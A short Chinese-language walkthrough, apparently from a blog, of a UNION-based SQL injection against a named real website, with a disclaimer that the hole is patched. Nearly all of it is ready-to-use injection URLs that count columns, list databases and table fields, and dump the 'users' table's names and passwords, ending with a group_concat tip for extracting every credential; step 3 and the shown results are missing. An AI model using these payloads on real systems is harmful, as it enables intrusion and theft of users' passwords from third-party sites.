好早之前的网站了,漏洞已经被填上了,请大家不要尝试!
目标:http://www.qdmjzz.org/
1、首先是拆解:http://www.qdmjzz.org/show.php?id=7829 and 1=2 union select 1,2,3,4,5,6,7-- 这样一直找到正确的列数 也可以直接用order by 后面接数,表示有多少行。这样就可以猜到共有19行。发现可以回显的是3,4,13.在这些位置我们可以使用函数来回显数据库里面的数据。
2、查询数据库和表:http://www.qdmjzz.org/show.php?id=7829%20and%201=2%20union%20select%201,2,database%28%29,group_concat%28schema_name%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.SCHEMATA--
出现内容如下:
4、查询某一张表有哪些字段:http://www.qdmjzz.org/show.php?id=7829%20and%201=2%20union%20select%201,2,database%28%29,group_concat%28column_name%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.columns%20where%20table_name=0x7573657273--
5、查询每一个字段的内容:http://www.qdmjzz.org/show.php?id=7829%20and%201=2%20union%20select%201,2,passwd,name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20users
当让这样只是得到一个数据而已,如果想要将所有用户名密码都爆出,群里面的一位女士给出的答案:用group_concat(name),group_concat(passwd)。这样就可以回显了。